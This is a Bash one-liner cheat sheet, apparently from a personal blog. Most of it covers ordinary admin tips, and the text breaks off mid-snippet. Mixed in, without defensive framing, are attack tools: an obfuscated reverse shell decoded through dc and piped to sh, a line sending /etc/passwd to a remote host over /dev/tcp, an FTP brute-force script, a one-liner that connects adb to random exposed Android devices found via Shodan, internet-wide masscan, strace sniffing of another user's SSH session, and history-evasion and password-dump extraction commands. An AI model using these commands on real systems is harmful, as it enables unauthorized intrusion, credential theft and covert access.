Skip to content

Linux Shell

Linux Tux Logo

Bash/Shell is awesome

Master the Command Line: Unleashing the Power of Linux


Configure linux kernel modules from commandline

cd /usr/src/linux
/scripts/config --set-val CONFIG_OPTION y
/scripts/config --enable CONFIG_BRIDGE
/scripts/config --enable CONFIG_MODULES
/scripts/config --disable CONFIG_X25
/scripts/config --module CONFIG_NFT
make oldconfig

Safely restart the linux display manager after a session crash

{
  loginctl terminate-user wuseman
  sleep 1
  /etc/init.d/display-manager start
} >> /var/log/dm-restart.log 2>&1

A very simple monitor for the ramdisk from tmpfs that we are using

watch -n1 '
echo "Load:" $(uptime | awk -F"load average:" "{print \$2}");
echo;
df -h /tmp;
echo;
du -sh /tmp/ccache 2>/dev/null
'

Read kernel command line

cat /proc/cmdline

Clear the contents of filename

>filename

Get a Process ID from a Command Name

pidof chrome

Bash auto-complete (e.g. show options word1 word2 word3 when you press’tab’ after typing words)

complete -W "word1 word2 word3" words

Check the most recent login of all users

lastlog

Kill all process of a user

pkill -U <username>

Show who is logged on and what they are doing

w

Kill all process of a program

kill -9 $(ps aux | grep '<program_name>' | awk '{print $2}')

Convert decimal to binary

D2B=({0..1}{0..1}{0..1}{0..1}{0..1}{0..1}{0..1}{0..1})
echo -e ${D2B[5]}

Convert the hexadecimal MD5 checksum value into its base64-encoded format

openssl md5 -binary w.md| base64

Show and set user limit

ulimit -u

Run process even when logout (immune to hangups, with output to a non-tty)

nohup bash myscript.sh

Print all aliases

alias -p

Print all functions

declare -F

Unalias (e.g. after alias ls='ls --color=auto')

unalias ls

Check where a link points

readlink /usr/bin/python3

Exit Codes

exit 0   # Exit the script successfully
exit 1   # Exit the script unsuccessfully
echo $?  # Print the last exit code

Send email from commandline

echo 'Hello, what`s up?'| mail -a filename_to_send.txt -s 'mail.subject' me@gmail.com

Use the last argument

!$

Press any key to continue

read -rsp $'Press any key to continue...\n' -n1 key

Check last exit code

echo $?

Get last history/record filename

head !$

Create a temporary directory and cd into it

cd $(mktemp -d)

List the available microcodes:

echo && uname -p | xargs printf "%s " && printf 'CPU ID ' && LANG=C lscpu | grep '^CPU family:\|Model:\|Stepping' | tr -d '[:blank:]' | cut -d ':' -f2 | xargs printf "%02X-" | sed 's/.$/\n/' && echo    

What head expansion does

Expansion Meaning
! ! Entire previous command
! $ Last argument of previous command
! * All arguments of previous command
! ^ First argument of previous command
! :2 Second argument
! :-2 All but last argument
  • What head !$ does
cat /var/log/messages
head !$

Expansion happens before execution, so Bash actually runs:

head /var/log/messages

Make beep sound

speaker-test -t sine -f 1000 -l1

Set beep duration

(speaker-test -t sine -f 1000) & pid=$!;sleep 0.1s;kill -9 $pid

Create /mnt/gentoo/boot and /mnt/gentoo/another_dir

mkdir -p /mnt/gentoo/{boot,another_dir}

Lists all processes owned by the root user.

ps aux | awk '$1=="root" {print $0}'

Find network interface in use

ip addr | awk '/state UP/ {print $2}' | sed 's/.$//'

Tappping screen for tiktok

adb shell
while true; do input tap $(wm size | awk -F 'x' '{print $1/2 " " $2/2}'); done

Simple grub-install command for EFI

grub-install --target=x86_64-efi --efi-directory=/boot --bootloader-id="Gentoo Linux"

Use tee to process a pipe with two or more processes

echo "tee can split a pipe in two"|tee >(rev) >(tr ' ' '_')

Search for all urls

start_time=$(date +%s.%N)

rg --files --null | xargs -P $(nproc) -0 bash -c '
    for file in "$@"; do 
        # Check if the control file still exists
        if [ ! -f '"$control_file"' ]; then
            exit 0
        fi
        strings "$file" | rg --pcre2 -o -i -e "(http|https|ftp|ftps|smtp)://[a-zA-Z0-9./?=_-]+(?![a-zA-Z0-9./?=_-])" | sed "s|^|Filename: $file URL: |"
    done' bash
end_time=$(date +%s.%N)
elapsed_time=$(echo "$end_time - $start_time" | bc -l)
formatted_elapsed_time=$(printf "%.2f" "$elapsed_time")
echo "Host scan done in: ${formatted_elapsed_time} seconds"

Fastest local network scanner

time seq 1 254 | xargs -P 254 -I{} bash -c 'network="192.168.1.{}"; 
ping -c 1 -W 0.5 $network &> /dev/null && echo "$network is up"'

Probably the fastest Network scanner on earth: by wuseman

seq 1 254 | xargs -P 254 -I{} bash -c 'function ping_status() { 
  network="192.168.1.$1"; 
  if ping -c 1 -W 0.5 $network &> /dev/null; then 
    printf "IPV4: %-13s is \e[1;32mup\e[0m\n" "$network"; 
  fi 
}; ping_status {}'

Network scanner with execution time at end

start=$(date +%s.%N); 
seq 1 254 | xargs -P 254 -I{} bash -c 'function ping_status() { 
  network="192.168.1.$1"; 
  if ping -c 1 -W 0.5 $network &> /dev/null; then 
    printf "IPV4: %-13s is \e[1;32mup\e[0m\n" "$network"; 
  fi 
}; 
ping_status {}'; 
end=$(date +%s.%N); 
runtime=$(printf "%.2f" $(echo "$end - $start" | bc)); 
printf "Total execution time: %.2f seconds\n" $runtime

Extract all files that match filename from archives

telegramDir="/path"
passwordDir="/savePath"

#find $telegramDir -name "*.rar" -print0 | xargs -0 -P100 -I{} unrar p -inul "{}" "*sswords*"
find "$telegramDir" -name "*.rar" -print0 | xargs -0 -P$(($(nproc) + 1)) -I{} unrar -or e {} '*ssword*.txt' "$passwordDir" \;

Memory Difference

awk '/MemTotal:/ {
l = 5242880;              # Define the limit in bytes (5 GB in bytes)
mt = ($2 * 1024);         # Convert 'MemTotal' value from KB to bytes
diff = mt - l;            # Calculate the difference (positive)
printf "Total Memory:\n\n"
printf "In Gigabytes..: %.2f GB\n", diff / (1024 * 1024 * 1024)
printf "In Megabytes..: %.2f MB\n", diff / (1024 * 1024)
printf "In Kilobytes..: %.2f KB\n", diff / 1024
printf "In Bytes......: %d B\n", diff

}' /proc/meminfo

Backup all starred repositories from Github

GITUSER=$(whoami)
curl "https://api.github.com/users/${GITUSER}/starred?per_page=1000" | grep -o 'git@[^"]*' | xargs -L1 git clone

Extract multiple files that contains Passwords.txt

find . -name "*.rar" -print0 | xargs -0 -P100 -I{} unrar p -inul "{}" "*sswords*"
sourcePath=".."
targetPath=".."
find . -name "*.rar" -print0 | xargs -0 -P$(($(nproc) + 5)) -I{} unrar p -inul "{}" "*.txt
find . -name "*.rar" -exec sh -c 'unrar p -inul "$1" "*asswords*.txt"' sh {} \;|grep -i foo -A2
find . -name "*.rar" -print0 | xargs -0 -P100 -I{} unrar p -inul "{}" "*.txt"|rg -io  "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b"
find . -type f -print0 | xargs -0 -I{} -P$(nproc) sh -c 'strings "$1" | rg --pcre2 -o -i -e "(http|https|ftp|ftps|smtp)://[a-zA-Z0-9./?=_-]+(?![a-zA-Z0-9./?=_-])"' sh {}|grep -v GNUToolChain|grep -i firmware
find $sourcePath -name '*rar' | xargs -P $(nproc --all) -I {} unrar -or e '{}' '*asswor*.txt' $targetPath
find . -type f -print0 | xargs -0 -P $(nproc) -I {} bash -c 'for file in "$@"; do strings "$file" | rg --pcre2 -o -i -e "(http|https|ftp|ftps|smtp)://[a-zA-Z0-9./?=_-]+(?![a-zA-Z0-9./?=_-])" | sed "s|^|Filename: $file URL: |"; done' bash {}|grep -i "git"
find . -type f -print0 | xargs -0 -I{} -P$(nproc) sh -c 'strings "$1" | grep -i "telia" | while read line; do echo -e "File $1 - \e[1;32m$line\e[0m"; done' sh {

Fork Bomb

Don't try this at home!

It is a function that calls itself twice every call until you run out of system resources.

A # is added in front for safety reason, remove it when seriously you are testing it.

# :(){:|:&};:

Reverse shell with RPN

text="qxblnsE63602D2C6676707021333337302D25602F22696E6F237860232024786963702C696E6560277163702362756164756460226970277573756D616E6D0A0bs]xblns/001nlP%001nla=0nl[as]q[i61"
var1="${text:0:24}"
var2="${text:24:24}"
var3="${text:48:24}"
var4="${text:72:24}"
var5="${text:96:24}"
var6="${text:120:24}"
var7="${text:144}"
echo "1=\"$var1\""
echo "2=\"$var2\""
echo "3=\"$var3\""
echo "4=\"$var4\""
echo "5=\"$var5\""
echo "6=\"$var6\""
echo "7=\"$var7\""
dc -e $(echo "$text" | awk '{ for(i=length; i>=1; i--) { printf "%s", substr($0, i, 1) } }')|sh -c

Calculations in Pure Bash

wcalc() { echo $(( $@ ));}

Spoof MAC address

NIC="eno1"
ip link show $NIC
ip link set dev $NIC down
ip link set dev $NIC address XX:YY:ZZ:AA:BB:CC
ip link set dev $NIC up

Print connected usb drives

find /proc/scsi/ -path '/proc/scsi/usb-storage*' -type f -exec grep . {} \;

Wayland or X11

printf 'Session is: %s\n' "${DISPLAY:+X11}${WAYLAND_DISPLAY:+WAYLAND}"
echo $XDG_SESSION_TYPE
loginctl show-session $XDG_SESSION_ID -p Type

Dmesg with human readable format

dmesg -T

Put a console clock in different positions on terminal

while sleep 1; do 
    tput sc;
    tput cup 0 $(($(tput cols)-29));
    date;tput rc;
done &
while sleep 1; do 
    tput sc;
    tput cup 0 $(( $(tput cols) / 2 - 14 ));
    date;tput rc;
done &
while sleep 1; do 
    tput sc;
    tput cup 0 0;
    date;tput rc;
done &
while sleep 1; do 
    tput sc;
    tput cup $(( $(tput lines) / 2 )) $(( $(tput cols) / 2 - 14 ));
    date;tput rc;
done &
while sleep 1; do 
    tput sc;
    tput cup $(($(tput lines)-1)) 0;
    date;tput rc;
done &
while sleep 1; do 
    tput sc;
    tput cup $(( $(tput lines) / 2 )) $(($(tput cols)-29));
    date;tput rc;
done &

Zick Zack print

for (( incr = 1, n=0, times = ${2:-4}, step = ${1:-5}; (n += incr) % step || (incr *= -1, --times);)); do
    printf '%*s\n' "$((n+1))" "$n"
done

Force machine to reboot no matter what (even if /sbin/shutdown is hanging)

echo 1 > /proc/sys/kernel/sysrq; echo b > /proc/sysrq-trigger

Figure out what shell you're running

readlink -f /proc/$$/exe

What invoked me

ps -o comm= -p $(ps -o ppid= -p $$)

Bash suicide

kill -9  $$

Launch last command again

!!

Launch hidden command

/bin/bash -c "exec ls"

Banner grabber

bash -c 'exec 3<>/dev/tcp/google.com/80; echo EOF>&3; cat<&3'

Browse to https://linux-shell.se in pure Bash

exec 5<>/dev/tcp/linux-shell.se/443
echo -e "GET / HTTP/1.0\n" >&5
cat <&5

Random IPv4 generator

printf "%d.%d.%d.%d\n" \
    "$((RANDOM % 256))" \
    "$((RANDOM % 256))" \
    "$((RANDOM % 256))" \
    "$((RANDOM % 256))"

Random IPv6 generator

for ((i=0;i<8;i++)); do 
    printf "%02x%02x:" $((RANDOM%256)) $((RANDOM%256)); 
done|sed 's/:$//'  

Find duplicates by md5sum

find / -type f \
    |grep '([0-9]\{1,9\})\.[^.]\+$' \
    |parallel -n1 -j200% md5sum ::: \
    |awk 'x[$1]++ { print $2 " :::"}' \
    |sed 's/^/Dupe: /g' \
    |sed 's,Dupe,\x1B[31m&\x1B[0m,'

Generate uuid´s

uuidgen|sed 's/-//g'
hexdump -n 16 -v -e '/1 "%02x"' /dev/urandom \
| sed -E 's/^(.{8})(.{4})(.{4})(.{4})(.{12})$/\1-\2-\3-\4-\5/'
gawk 'BEGIN{
  srand()
  t = systime()
  pid = PROCINFO["pid"]
  r = int(rand() * 2^32)
  printf "%08x-%04x-%04x-%04x-%012x\n",
    t,
    and(r, 0xffff0000) / 65536,
    and(r, 0xffff),
    and(pid, 0xffff),
    int(rand() * 2^48)
}'
od -An -N16 -tx1 /dev/urandom \
| awk '{
  for (i=1;i<=16;i++) b[i]=$i
  printf "%s%s%s%s%s%s%s%s-%s%s-%s%s-%s%s-%s%s%s%s%s%s%s%s\n",
    b[1],b[2],b[3],b[4],b[5],b[6],b[7],b[8],
    b[9],b[10],
    b[11],b[12],
    b[13],b[14],
    b[15],b[16],b[17],b[18],b[19],b[20],b[21],b[22]
}'
dd if=/dev/urandom bs=16 count=1 2>/dev/null \
| tr -dc '0-9a-f' </dev/urandom | head -c 32 \
| fold -w 4 \
| paste -sd '' - \
| sed 's/^\(........\)\(....\)\(....\)\(....\)\(............\)$/\1-\2-\3-\4-\5/'

Generate mac hw addresses

  • The last sed expression ensures the unicast/multicast bit is set to zero
  • The greedy space replacements are for portability across UNIX seds
od -An -N6 -tx1 /dev/urandom |sed -e 's/^  *//' -e 's/  */:/g' -e 's/:$//' -e 's/^\(.\)[13579bdf]/\10/'
read -N6 b </dev/urandom
LC_ALL=C printf "%02x:%02x:%02x:%02x:%02x:%02x\n" \
"'${b:0:1}" "'${b:1:1}" "'${b:2:1}" "'${b:3:1}" "'${b:4:1}" "'${b:5:1}"
hexdump -n3 -e'/3 "00:60:2F" 3/1 ":%02X"' /dev/random
printf '%.2x\n' "$(shuf -i 0-281474976710655 -n 1)"|sed -r 's/(..)/\1:/g'|cut -d: -f -6
echo 00-60-2F-$[RANDOM%10]$[RANDOM%10]-$[RANDOM%10]$[RANDOM%10]-$[RANDOM%10]$[RANDOM%10]
echo -n 02; od -t x1 -An -N 5 /dev/urandom | tr ' ' ':'
openssl rand -hex 6 | sed 's/\(..\)/\1:/g; s/:$//'
openssl rand -hex 6|sed 's/\(..\)\(..\)\(..\)\(..\)\(..\)\(..\)/\1:\2:\3:\4:\5:\6/'

For hide our real mac address we use this command for generate a macaddr for bluez tools

```bash hexdump -n6 -e '/1 "%02X_"' /dev/urandom | sed 's/_$/n/'

Record last 20 commands

fc -1 -20

Kill a specific process using a given port

fuser -k 445/tcp

Print how much percentage of total ram a process is using

ps -eo pmem,comm|grep konsole|awk '{sum+=$1} END {print sum " % of RAM"}'

Stresstest 1 CPU core

yes > /dev/null & 

Stresstest 2 CPU core

yes > /dev/null & 
yes > /dev/null & 

Create several files filled with random data

for fileSize in 1 10 50 100 250 500 1000; do 
    echo "Creating file: ${fileSize}M"; 
    sudo head -c ${fileSize}M </dev/urandom >${fileSize}; 
done

Execute a command on all previous command

  • Example: touch file{1,2,3}; chmod 777 !*
chmod 777 !*

Change password without third-party

echo 'user:newpassword' | chpasswd

Set shell enviroment

sed -i '1i root:x:0:0:root:/root:/bin/bash' /etc/passwd
sed -i '2d' /etc/passwd

Truncate long strings in columns and use custom header names

column -s: -t -n . -N USERNAME,PASS,UID,GID,NAME,HOMEDIR,SHELL -T NAME /etc/passwd |sed "1,2 i $(printf %80s|tr ' ' '=')"

Dump /etc/passwd in tabular

head -4 /etc/passwd \
    |tr : , \
    |sed -e 's/^/| /' -e 's/,/,| /g' -e 's/$/,|/' \
    |column -t -s,

Paralleling wget

time seq 1000|parallel -a 1 -j1000 wget

Execute 10 curl commands in Parallel

xargs -I% -P10 curl -sL "https://iconfig.co" < <(printf '%s\n' {1..10})

Execute 10 curl commands in parallel

NUM="10";seq ${NUM} |xargs -I % -n1 -P${NUM} curl -sL ifconfig.co

Print CPU core speed

awk -F": " '/cpu MHz\ */ { print "Processor (or core) running speed is: " $2 }' /proc/cpuinfo 

Print your CPU Family on Samsung devices

cat /sys/devices/soc0/family

Print your CPU Architecture Family

cat /sys/devices/cpu/caps/pmu_name

Dump CPU temp

cat /sys/class/thermal/thermal_zone*/temp

Monitor CPU Frequency

watch -n.1 "grep \"^[c]pu MHz\" /proc/cpuinfo"

Dump CPU temp in Farenheit

gawk '{print "Temp in degrees Fahrenheit is:",$1/1000 * 1.8 + 32}' /sys/class/thermal/thermal_zone0/temp

Dump CPU load

printf "1-minute load average: %.1f%%\n" $(bc <<<"$(cut -d ' ' -f 1 /proc/loadavg) * 100")

Print thermals

paste <(cat /sys/class/thermal/thermal_zone*/type) <(cat /sys/class/thermal/thermal_zone*/temp) \
    |column -s $'\t' -t|sed 's/\(.\)..$/.\1°C/'

Check host and port access in pure Bash

s="$(cat 2>/dev/null < /dev/null > /dev/tcp/${target_ip}/${target_port} & WPID=$!
    sleep 3 
    kill $! >/dev/null 2>&1 & KPID=$!;wait $WPID && echo 1)" s="${s:-0}"; 
    echo "${s}" | sed 's/0/2/;s/1/0/;s/2/1/'

Portscan Entire Internet

 (masscan 0.0.0.0/0 -p80 --banner --exclude 255.255.255.255 --max-rate 100000|tee targets.txt 2>&1 /dev/null);  1&> /dev/null

Fast portscanner in Parallel

parallel \
    -j200% \
    -n1 -a textfile-with-hosts.txt nc -vz {} ::: 22

Another Portscanner

seq 65535|parallel -k --joblog portscan -j9 --pipe --cat -j200% -n9000 --tagstring \
    '\033[30;3{=$_=++$::color%8=}m' \
    'nc -vz localhost $(head -n1 {})-$(tail -n1 {})'

Just another portscanner in parallel

xargs -i -P 1200 nc -zvn {} 22 < textfile-with-hosts.txt

Perform Real-time Process Monitoring using watch

watch -n 1 'ps -eo pid,ppid,cmd,%mem,%cpu --sort=-%mem | head'

Check whether Laptop using AC or Battery

  • 0 = AC
  • 1 = Battery
cat /sys/class/power_supply/AC/online

Block all brute-force attacks in realtime (IPv4/SSH)

inotifywait -r -q --format %w /var/log/auth.log \
    |grep -i "Failed pass" \
    |tail -n 1 \
    |grep -oE '\b([0-9]{1,3}\.){3}[0-9]{1,3}';
    iptables -I INPUT -i eth0 -s "$(cat /var/log/auth.log \
        |grep "authentication failure; l" \
        |awk -Frhost= '{print $2}' \
        |tail -n 1)" -j DROP

Ports you probably want to add to iptables

lsof -i -nlP|awk '{print $9, $8, $1}'|sed 's/.*://'|sort -u|column -t|nl -w 2 -s') '

Sniff a user's SSH session with strace

strace -e trace=read -p <PID> 2>&1|while read x; do echo "$x"|grep '^read.*= [1-9]$'|cut -f2 -d\";done

Check if a port is open or closed in bash

 ( echo > /dev/tcp/nr1.nu/81; ) &> /dev/null 1>&2 | \
if [[ $? = "0" ]]; then 
    echo "up"; 
else 
    echo "down"; 
fi
( : <> /dev/tcp/nr1.nu/81;) &> /dev/null 1>&2 && echo "up" || echo "closed"

Broadcast your shell thru port 5000

bash -i 2>&1 |tee /dev/stderr|nc -l 5000

Network Discover in a one liner

nmap -sn 192.168.1.0/24 -oG - | awk '$4=="Status:" && $5=="Up" {print $0}'|column -t

Watch TCP, UDP open ports in real time with socket summary

watch ss -stplu

Produce 10 copies of the same string

echo boo{,,,,,,,,,,}

Recall “N”th command from your BASH history without executing it

!12:p

Generate a sequence of numbers

for ((i=1; i<=99; ++i)); do echo $i; done

Show OS release incl version

grep -m1 -h [0-9] /etc/{*elease,issue} 2>/dev/null | head -1

Find all file extension in current dir

find . -type f |perl -ne 'print $1 if m/\.([^.\/]+)$/' |sort -u

Print a horizontal line

printf -v _hr "%*s" $(tput cols) && echo ${_hr// /${1--}}

Aggregate Disk Usage (Used vs Total Capacity)

df -kP -t xfs -t ext2 -t ext3 -t ext4 -t reiserfs \
| awk 'NR>1 && !seen[$1]++ {
         total += $2
         used  += $3
       }
       END {
         red="\033[31m"; green="\033[32m"; reset="\033[0m"
         printf "%s%.0f GB%s / %s%.0f GB%s\n",
                red, used/1024/1024, reset,
                green, total/1024/1024, reset
       }'

Print used disk space

df -klP -t xfs -t ext2 -t ext3 -t ext4 -t reiserfs \
    |grep -oE ' [0-9]{1,}( +[0-9]{1,})+' \
    |awk '{sum_used += $2} END {printf "%.0f GB\n", sum_used/1024/1024}'

Print allocated disk space

df -kP -t xfs -t ext2 -t ext3 -t ext4 -t reiserfs \
| awk 'NR>1 {sum += $3} END {printf "%.0f GB\n", sum/1024/1024}'

Read kernel messages in realtime

dmesg -wx

Almost invisible SSH

ssh -o UserKnownHostsFile=/dev/null -T user@foo.com "bash -i"

Print string with color flash

flashing_text () { 
  wuzi='*w*u*s*e*m*a*n*_*p*w*n*z \e[00;34m !';
  for i in {0..59}; do
      echo -ne "\r${wuzi:0:$i}" ;sleep 0.05;
done 
};

Leave bash without History

Tell Bash to use /dev/null instead of ~/.bash_history This is the first command we execute on every shell. It will stop the Bash from logging your commands.

export HISTFILE=/dev/null

Shred and Wipe, without Shred

FN=textfile.txt;
dd bs=1k count="`du -sk \"${FN}\"|cut -f1`" if=/dev/urandom >"${FN}"; 
rm -f "${FN}"

Bruteforce two FTP Accounts at once

#!/bin/bash
# Author: wuseman
# Desc: Bruteforce 2 accounts at once

okMSG() {
    echo -e "[\e[1;32m*\e[0m] $*"
}

errMSG() {
    echo -e "[\e[1;31m*\e[0m] $*"
}

1() {
    curl ftp://host:port -u $line &> /dev/null
    [[ $? = "0" ]] &&  okMSG "Cracked password for $line" \
                   || errMSG "Bad password for $line"
}

2() {
    curl ftp://host:port -u $line1 &> /dev/null -u $line1 &> /dev/null
    [[ $? = "0" ]] &&  okMSG "Cracked password for $line1" \
                   || errMSG "Bad password for $line1"
}

while 
        read line;read line1; 
        do 
    1;2;sleep 0.1;
done < test

Print interface that is up and running

route|grep -m1 ^default|awk '{print $NF}'
 ip addr \
    |awk '/state UP/ {print $2}'|sed 's/.$//'
ip link|awk -F: '$0 !~ "lo|vir|wl|^[^0-9]"{print $2;getline}'
ip link|awk -F: '$0 !~ "lo|vir|wl|^[^0-9]"{print $2;getline}'
ip -br l|awk '$1 !~ "lo|vir|wl" { print $1}'
ip addr show|awk -- '$1 == "inet" && $3 == "brd"  { split($2,a,"/"); print a[1]; }'
ip route get 8.8.8.8|sed -nr 's/.*dev ([^\ ]+).*/\1/p'

Correct SSH permissions

chmod 700 ~/.ssh
chmod 644 ~/.ssh/authorized_keys
chmod 644 ~/.ssh/known_hosts
chmod 644 ~/.ssh/config
chmod 600 ~/.ssh/id_rsa
chmod 644 ~/.ssh/*.pub
chmod 600 ~/.ssh/github_rsa
chmod 644 ~/.ssh/github_rsa.pub
chmod 600 ~/.ssh/mozilla_rsa
chmod 644 ~/.ssh/mozilla_rsa.pub

Print current Socks5 IPv4 address behind Tor

curl --socks5 localhost:9050 --socks5-hostname localhost:9050 https://check.torproject.org/api/ip

Ports we probably wanna accept in iptables

lsof -i -nlP |awk '{print $9, $8, $1}'|sed 's/.*://' |sort -u

Create a UEFI bootable USB

parted /dev/sdc -s print
mkfs.vfat -F 32 /dev/<device>1
mount /dev/<device>1 /<dev_mountpoint>
mount /path/to/iso/Win10_1511_1_<Version>_<Language>_x64.iso /<iso_mountpoint>
cp -R /<iso_mountpoint>/* /<dev_mountpoint>/
printf '%s' "Done" 

Benchmark and find bytesize for dd

#!/bin/bash

dd if=/dev/zero of=/var/tmp/infile count=1175000

for bs in  1k 2k 4k 8k 16k 32k 64k 128k 256k 512k 1M 2M 4M 8M;do
    echo "Testing block size  = $bs"
        dd if=/var/tmp/infile of=/var/tmp/outfile bs=$bs
    echo ""
done;rm /var/tmp/infile /var/tmp/outfile

Returns the "hypotenuse" of a right triangle

ARGS=2
E_BADARGS=85

if [[ $# -ne "$ARGS" ]]; then
  echo "Usage: `basename $0` side_1 side_2"
  exit $E_BADARGS
fi

AWKSCRIPT=' { printf( "%3.7f\n", sqrt($1*$1 + $2*$2) ) } '
    echo -n "Hypotenuse of $1 and $2 = "
    echo $1 $2 | awk "$AWKSCRIPT"

Disable ipv6

cat <<EOF > /etc/sysctl.conf
net.ipv6.conf.all.disable_ipv6 = 1
net.ipv6.conf.default.disable_ipv6 = 1
net.ipv6.conf.lo.disable_ipv6 = 1
EOF;sysctl -p

Download URL

_wget () {
exec 5<>/dev/tcp/www.google.com/80
echo -e "GET / HTTP/1.0\n" >&5
cat <&5

_wget http://www.andreafortuna.org/robots.txt

Download file

_get () {
  IFS=/ read proto z host query <<< "$1"
  exec 3< /dev/tcp/$host/80
  {
    echo GET /$query HTTP/1.1
    echo connection: close
    echo host: $host
    echo
  } >&3 
  sed '1,/^$/d' <&3 > $(basename $1)
}

_get http://192.168.50.1/login.lp

Prints headers for URL

server=${1:-google.com}
port=${2:-80}
echo -e "HEAD / HTTP/1.0\r\nHost: ${server}\r\n\r\n" | nc "$server" "$port"
server=${1:-google.com}; port=${2:-80}
exec 5<> /dev/tcp/$server/$port
echo -e "HEAD / HTTP/1.0\nHost: ${server}\n\n" >&5;
cat 0<&5;
exec 5>&-
server=${1:-google.com}
port=${2:-80}

exec 3<>/dev/tcp/"$server"/"$port"
echo -e "HEAD / HTTP/1.0\r\nHost: ${server}\r\n\r\n" >&3
cat <&3
exec 3>&-
server=${1:-google.com}
port=${2:-80}

(
  echo "HEAD / HTTP/1.0"
  echo "Host: ${server}"
  echo
) | telnet ${server} ${port}
server=${1:-google.com}
port=${2:-80}

exec 3<> /dev/tcp/"${server}"/"${port}"
echo -e "HEAD / HTTP/1.0\r\nHost: ${server}\r\n\r\n" >&3
cat <&3
exec 3>&-
server=${1:-google.com}
port=${2:-80}

printf "HEAD / HTTP/1.0\r\nHost: ${server}\r\n\r\n" > /dev/tcp/${server}/${port}
cat < /dev/tcp/${server}/${port}
server=${1:-google.com}
port=${2:-80}

printf "HEAD / HTTP/1.0\r\nHost: ${server}\r\n\r\n" | nc ${server} ${port}
server=${1:-google.com}
port=${2:-80}

(
  echo "HEAD / HTTP/1.0"
  echo "Host: ${server}"
  echo
) | nc ${server} ${port}
server=${1:-google.com}
port=${2:-80}

(
  echo "HEAD / HTTP/1.0"
  echo "Host: ${server}"
  echo
) | telnet ${server} ${port}
url="https://example.com"
wget --server-response -O /dev/null "$url" 2>&1 | sed '/^  *$/q'
wget2 --server-response -O /dev/null "$url" 2>&1 | sed '/^  *$/q'
server=${1:-google.com}
port=${2:-80}

curl -I "$url"

Perform a port scan

hosts=(127.0.0.1 127.0.0.2 127.0.0.3)
ports=(22 23 25 80)

for host in "${hosts[@]}"
do
  for port in "${ports[@]}"
  do
    if echo "Hi from someone unknowns port scanner at $(uname -n)" 2>/dev/null > /dev/tcp/"$host"/"$port"
    then
      echo success at "$host":"$port"
    else
      echo failure at "$host":"$port"
    fi
  done
done

Perform a port scan

IPS=$(ifconfig \
  | grep -Eo 'inet (addr:)?([0-9]*\.){3}[0-9]*' \
  | grep -Eo '([0-9]*\.){3}[0-9]*' \
  | grep -v '127.0.0.1')
IPS=(${IPS//$'\n'/ })
for ip in "${IPS[@]}"
do
  iprange=$(echo $ip | sed 's/\.[^.]*$//') 
  echo "PORT            HOST"
  for ihost in {1..254}; do
    for port in {22,80,8080,3389,443,53,67,68}; do
      bash -c "echo >/dev/tcp/$iprange.$ihost/$port" 2>/dev/null \
        && echo "$port    $iprange.$ihost"
    done
  done
done

Send file

cat /etc/passwd > /dev/tcp/10.0.0.1/80

Fetch a web page

exec 3<>/dev/tcp/www.google.com/80
echo -e "GET / HTTP/1.1\r\nhost: http://www.google.com\r\nConnection: close\r\n\r\n" >&3
cat <&3

Print current time by NTP

URL="time.nist.gov/13"
Time=$(cat </dev/tcp/"$URL")
UTC=$(echo "$Time" | awk '{print$3}')
echo "UTC Time = "$UTC""

Query an NTP server

cat </dev/tcp/time.nist.gov/13

Generate dates from end to start

end=2021-01-03
start=2014-12-29
while ! [[ $start > $end ]]; do     
    echo $start|sed 's/-/ /g'|awk '{print $3,$2,$1}'|sed 's/ /./g';     
    start=$(date -d "$start + 1 day" +%F); 
done 

Generate dates from end to start with parallel

start=2014-12-29; end=2021-01-03
seq $(date -d "$start" +%s) 86400 $(date -d "$end" +%s) | xargs -P$(nproc) -I{} date -d @{} +"%d.%m.%Y"

Generate dates from end to start with parallel and awk

start=2014-12-29; end=2021-01-03
awk -v start="$start" -v end="$end" '
BEGIN {
    cmd = "date -d \"" start "\" +%s"
    cmd | getline start_epoch
    close(cmd)
    cmd = "date -d \"" end "\" +%s"
    cmd | getline end_epoch
    close(cmd)
    for (i = start_epoch; i <= end_epoch; i += 86400) {
        print i
    }
}
' | xargs -P$(nproc) -I{} date -d @{} +"%d.%m.%Y"

Print screen monitor in hex values only

 xrandr --prop | awk '
    !/^[ \t]/ {
        if (output && hex) print output, hex, conn
        output=$1
        hex=""
    }
    /ConnectorType:/ {conn=$2}
    /[:.]/ && h {
        sub(/.*000000fc00/, "", hex)
        hex = substr(hex, 0, 26) "0a"
        sub(/0a.*/, "", hex)
        h=0
    }
    h {sub(/[ \t]+/, ""); hex = hex $0}
    /EDID.*:/ {h=1}
    END {if (output && hex) print output, hex, conn}
    '

Print screen monitor model

while read -r output hex conn; do
    [[ -z "$conn" ]] && conn=${output%%-*}
    echo "# $output $conn   $(xxd -r -p <<< "$hex")"
done < <(xrandr --prop | awk '
    !/^[ \t]/ {
        if (output && hex) print output, hex, conn
        output=$1
        hex=""
    }
    /ConnectorType:/ {conn=$2}
    /[:.]/ && h {
        sub(/.*000000fc00/, "", hex)
        hex = substr(hex, 0, 26) "0a"
        sub(/0a.*/, "", hex)
        h=0
    }
    h {sub(/[ \t]+/, ""); hex = hex $0}
    /EDID.*:/ {h=1}
    END {if (output && hex) print output, hex, conn}
    ' | sort
)

Dump all available man pages in a particular section

man -k . | awk '{print $1}' | sort -u

Print our terminal width in columns

stty size | cut -d' ' -f2

Set columns width

export COLUMNS=$(stty size | cut -d' ' -f2)
export COLUMNS=$(tput cols)

Setting up watches for /var/log so we can see what file get's modified

inotifywait -m -e modify /var/log --format 'echo "Filename %w%f modified"'

Hack a random android device via shodan

curl -sL https://www.shodan.io/search?query=android+debug+bridge|grep -oE '\b([0-9]{1,3}\.){3}[0-9]{1,3}\b'|shuf -n 1|xargs adb connect

Kill a process on a certain port

kill -9 $(lsof -t -i :4040)

Remove multiple files at same time for a faster deletion with xargs on rclone mount

find scripts -type f -print0 | xargs -0 -P 10 -n 1 rm -f

Set swedish language with setxkbmap se

cat << "EOF" > /etc/X11/xorg.conf.d/00-keyboard.conf
Section "InputClass"
    Identifier "keyboard-all"
    MatchIsKeyboard "on"
    Option "XkbLayout" "se"
    Option "XkbVariant" "nodeadkeys"
EndSection

Disable motd on ssh login using Ubuntu

touch ~/.hushlogin

Simulate typing

echo "You can simulate on-screen typing just like in the movies" | pv -qL 10

Do we run a 32 bits or 64 bits system

getconf LONG_BIT

Creates a 16-character random alphanumeric password.

head /dev/urandom | tr -dc A-Za-z0-9 | head -c 16

Read all temperatures on HP Elitedesk inclusive chassis temp

for d in /sys/class/hwmon/hwmon*; do
  name=$(cat "$d/name" 2>/dev/null)
  for t in "$d"/temp*_input; do
